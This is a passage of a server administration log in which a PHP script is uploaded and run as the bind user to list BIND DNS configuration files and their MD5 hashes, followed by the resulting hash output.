MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:00:52: Establishing a connection
2026-07-15 13:00:52: 

PUT: /tmp/pkp241914

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:00:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp241914; rm /tmp/pkp241914'

2026-07-15 13:00:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
